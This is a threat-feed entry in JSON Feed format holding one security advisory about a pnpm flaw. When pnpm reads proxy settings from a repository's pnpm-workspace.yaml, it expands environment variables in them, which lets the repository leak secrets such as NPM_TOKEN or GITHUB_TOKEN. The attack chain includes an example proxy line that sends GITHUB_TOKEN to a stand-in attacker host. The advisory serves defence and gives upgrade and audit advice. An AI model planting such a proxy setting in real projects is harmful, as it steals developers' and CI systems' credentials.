{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/pnpm--10.34.5--11.0.0--11.11.0/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["pnpm (\u003e= 11.0.0, \u003c 11.11.0)","pnpm (\u003e= 10.7.0, \u003c 10.34.5)","pnpm (\u003c 10.34.5, \u003e= 11.0.0, \u003c 11.11.0)","pnpm (\u003c 10.34.5)"],"_cs_severities":["high"],"_cs_tags":["supply-chain","exfiltration","pnpm","vulnerability","path-traversal"],"_cs_type":"advisory","_cs_vendors":["pnpm"],"content_html":"\u003cp\u003epnpm versions 10.7.0 through 10.34.4 and 11.0.0 through 11.10.9 are susceptible to an environment variable exfiltration vulnerability. The issue occurs because pnpm expands environment variable placeholders (e.g., \u003ccode\u003e${NPM_TOKEN}\u003c/code\u003e) within \u003ccode\u003ehttpProxy\u003c/code\u003e, \u003ccode\u003ehttpsProxy\u003c/code\u003e, \u003ccode\u003enoProxy\u003c/code\u003e, \u003ccode\u003eproxy\u003c/code\u003e, and \u003ccode\u003enoproxy\u003c/code\u003e settings when read from a project's \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e file.\u003c/p\u003e\n\u003cp\u003eBecause these manifest files are controlled by repository authors, an attacker can commit a malicious \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e to a public repository or provide it as part of a supply-chain attack. When a developer or CI/CD system clones the repository and executes \u003ccode\u003epnpm install\u003c/code\u003e, the tool parses the proxy settings and expands the environment variables. The resulting value, containing the secret, is used to route installation traffic through an attacker-controlled proxy server. The sensitive data is leaked through the hostname or user-info portion of the connection, which is visible to the attacker-controlled proxy or the authoritative DNS resolver. This occurs during the configuration loading phase, before any project lifecycle scripts are executed.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker creates a malicious repository containing a custom \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e file.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e includes a proxy setting, such as \u003ccode\u003ehttpsProxy: \u0026quot;http://${GITHUB_TOKEN}.collector.attacker.example.com\u0026quot;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA victim clones the repository or pulls a malicious branch containing the workspace manifest.\u003c/li\u003e\n\u003cli\u003eThe victim executes \u003ccode\u003epnpm install\u003c/code\u003e within the root of the repository.\u003c/li\u003e\n\u003cli\u003eThe pnpm process reads the \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e and processes the proxy configuration.\u003c/li\u003e\n\u003cli\u003eThe process expands the environment variable placeholder \u003ccode\u003e${GITHUB_TOKEN}\u003c/code\u003e with the actual secret from the victim's environment.\u003c/li\u003e\n\u003cli\u003epnpm attempts to route network traffic through the hostname identified in the proxy string, triggering an external DNS request and connection attempt.\u003c/li\u003e\n\u003cli\u003eThe attacker captures the sensitive environment secret from the DNS query or proxy request headers.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation results in the exfiltration of sensitive environment variables such as \u003ccode\u003eNPM_TOKEN\u003c/code\u003e or \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e from the victim's local machine or CI/CD environment. This exposure can grant attackers unauthorized access to private package registries, version control systems, or other integrated services, potentially enabling further supply-chain attacks or source code theft. The vulnerability affects all users of pnpm versions within the specified ranges, regardless of their operating system.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cp\u003ePrioritized actions for security teams:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately upgrade all pnpm instances to version 11.11.0 or 10.34.5 and later.\u003c/li\u003e\n\u003cli\u003eImplement a policy to inspect \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e files for proxy configurations in untrusted or newly cloned repositories before executing installation commands.\u003c/li\u003e\n\u003cli\u003eIn CI/CD pipelines, ensure that pnpm is executed in environments with restricted network egress, and avoid injecting high-privilege secrets into the shell environment where package managers are executed.\u003c/li\u003e\n\u003cli\u003eAudit environment variables used in CI/CD pipelines to identify sensitive tokens that might be targeted by this technique.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-09-02T18:06:19Z","date_published":"2026-09-02T00:01:10Z","id":"https://feed.craftedsignal.io/briefs/2026-09-pnpm-secret-exfiltration/","summary":"A vulnerability in pnpm allows local environment variable exfiltration when a user executes 'pnpm install' in a malicious repository containing a crafted 'pnpm-workspace.yaml' file.","title":"Environment Secret Exfiltration via pnpm-workspace.yaml Proxy Settings","url":"https://feed.craftedsignal.io/briefs/2026-09-pnpm-secret-exfiltration/"}],"language":"en","title":"CraftedSignal Threat Feed - Pnpm (\u003c 10.34.5, \u003e= 11.0.0, \u003c 11.11.0)","version":"https://jsonfeed.org/version/1.1"}